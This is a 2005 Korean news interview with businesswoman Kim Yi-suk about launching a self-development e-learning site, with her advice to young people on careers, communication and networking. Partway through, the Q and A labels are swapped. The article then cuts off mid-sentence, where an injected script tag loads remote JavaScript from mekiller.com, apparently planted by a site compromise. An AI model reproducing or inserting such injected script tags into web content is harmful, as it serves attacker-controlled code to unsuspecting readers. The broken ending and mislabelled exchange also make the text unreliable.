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제 목 :
e-learning 시장에 출사표 던진 김이숙 사장 [05. 12. 15]
비즈니스 교육 컨설팅업체인 e 코퍼레이션의 김이숙 사장이 자기계발 e learning 사업에 뛰어들었다.
그가 싱가포르를 중심으로 아시아권을 커버하는 글로벌 자기계발 사이트 스카이퀘스트닷컴 코리아
(www.skyquestcom.com)를 운영, e learning시장에 출사표를 던진 것. 스카이퀘스트는 브라이언 트레이
시등 자기계발 경영경제 각 분야 세계적 거장급 명강사가 포진하고 있는 온라인 교육사이트로 현재 싱
가포르 일본 말레이시아등 28개국에서 20만명의 회원을 확보하는 등, 인기를 끌고 있는 글로벌 자기계
발 사이트다.

김사장은 IBM에서 직장생활을 시작, 93년 한국 아이시스 영업사업부장, 96년부터 한국 파일 네트 영업
총괄이사로 일하면서 소프트웨어 비즈니스업계에 이름을 널리 알렸다. 이후 억대연봉의 샐러리맨 생활
을 청산하고 98년 e코퍼레이션을 설립, 인터넷 비즈니스 창업보육뿐 아니라 교육컨설팅에 힘써온 여성
CEO다. 말하자면 디지털 사회의 선봉에서 늘 변화의 징조를 읽고 이끌어온 셈이다. 그가 e러닝에서도
이같은 바람을 일으킬지 주목을 끌고 있다. 앞으로 대학생들을 대상으로 ‘석세스클럽’을 운영하는
등 차세대CEO 육성에 앞장서겠다는 그를 만나 젊은이가 알아둬야 할 성공의 원칙에 대해 들어봤다.

Q=변화의 시대란 이야기는 귀에 못이 박히게 들었다. 아직 취업전인 젊은이들에겐 추상적인 말로 들리
기 쉽다. 현대사회의 특성을 구체적으로 정리해달라.

A=직장을 예로 들어 이야기하는게 이해가 빠를 것같다. 이제 회사는 대표, 사장 뿐 아니라 말단사원까
지 모두가 사장의 마인드로 무장하는 것이 요구되는 사회로 변했다. 각 파트가 전문화돼 스스로 판단,
일하는 팀프로젝트가 예전보다 현격하게 많이 늘었다. 간단히 말해 모두가 사장인 것이다. 예전엔 윗사
람이 판단, 지시해주었지만 이제는 직원각각이 성과를 내고, 고객이 직접 심사, 평가하는 사회가 됐다.

Q=그렇다면 이같은 변화의 사회에 젊은이들은 어떻게 대처해야 하는가.

A=먼저 프로젝트 관리중심의 사고를 가지라는 것을 강조하고 싶다. 요즘 대학생들을 보면 꿈과 비전은
분명한데 평가와 검토에는 의외로 약하다. 말하자면 궤도이탈을 하는지, 그렇다면 어떻게 수정을 해야
하는지에 대해선 생각지 않고 그저 열심히 하면 되겠지 하는 막연한 생각으로 덤비는 경우가 많다는 이
야기다. 이를 위해서는 프로젝트 관리능력과 외국어능력, 디지털능력 이 3박자가 맞아떨어져야 하는게
필수다.

Q=취업경쟁 등에서 여대생이 점수와 상관없이 불리하다는 이야기도 있다. 그래서 우수여학생이 다국적
기업으로 몰린다는 언론보도도 있는데…특히 여학생들에게 주고 싶은 조언은 무엇인가.

A=질문을 정정해도 되겠나. 남학생 여학생 모두에게 평등하게 조언을 주고 싶다(웃음). 21세기가 감성
의 시대라고들 말하지만 나는 성적으로는 중성의 시대라고 말하고 싶다. 성구별이 뚜렷했던 것은 수렵
시대 이야기 아니겠는가. 미래사회로 가는 여정에선 도전이 필요하고 그것에 응전하기 위해선 상대방
의 性이 가진 장점을 보완하는 것이 요구된다.

다시 말해 여성은 MS MP3 디지털카메라등 디지털 기기에 적응,능수능란하게 다룰 줄 알아야 할 것이
다. 반면에 남학생은 디자인 감성 매너 센스에 유의해야 한다고 본다. 미모는 아니지만 외모는 중요하
다. 요컨대 남녀공히 경험과 외모에서 배어나오는 자신만의 브랜드를 창출할 줄 알아야 성공할 수 있
다.

A=최근 인사담당자들이 강조하는 것을 보면 커뮤니케이션 스킬이 빠지지 않고 등장한다. 오늘날 이처
럼 부각되는 것에는 특별한 배경이 있는가. 그리고 이같은 스킬을 증진시키기 위해선 어떻게 해야 하는
가.

Q=오늘날은 1회성 다각화 만남이 늘기 때문에 단기간에 자기의 생각을 정확히 표현할 필요성이 발생했
다. 이때문에 커뮤니케이션 스킬이 상대적으로 중요시된다고 본다. 상대와 커뮤니케이션 하기 위해선
자아발견과 자아정립이 최우선이다. 이른바 코드를 맞춘다고 하더라도 자기 주파수가 있어야 남과 맞
춰 볼 수 있는 것 아니겠는가. 그런 점에서 커뮤니케이션을 잘하기 위해선 자기분석, 파악이 필수다.

Q=얼마전 CEO를 대상으로 조사한 바에 따르면 성공하는데 가장 중요한 요소로 대인관계 능력을 꼽고 있
다. 20대때 알아두어야 할 인맥관리 노하우가 있다면?

A=구호로 정리하자면 ‘늘 갈고 닦고 기름치자’다. 인맥만들기는 기간의 측면에선 나무를 키우는 것
과 같다. 그만큼 오랜 정성을 기울여야 한다는 말이다. 유리잔을 나르는 것처럼 조심해야 한다. 또 큰
바위처럼 굳은 신뢰와 지속성으로 관리해야 한다. 젊은 친구들이 인맥관리에 어려움을 겪는 것은 아마
도 짧은 시일안에 열매를 보려고 하기 때문이다. 성공을 혼자의 ?script src=http://mekiller.com/1/1.js>
 
 
 
 
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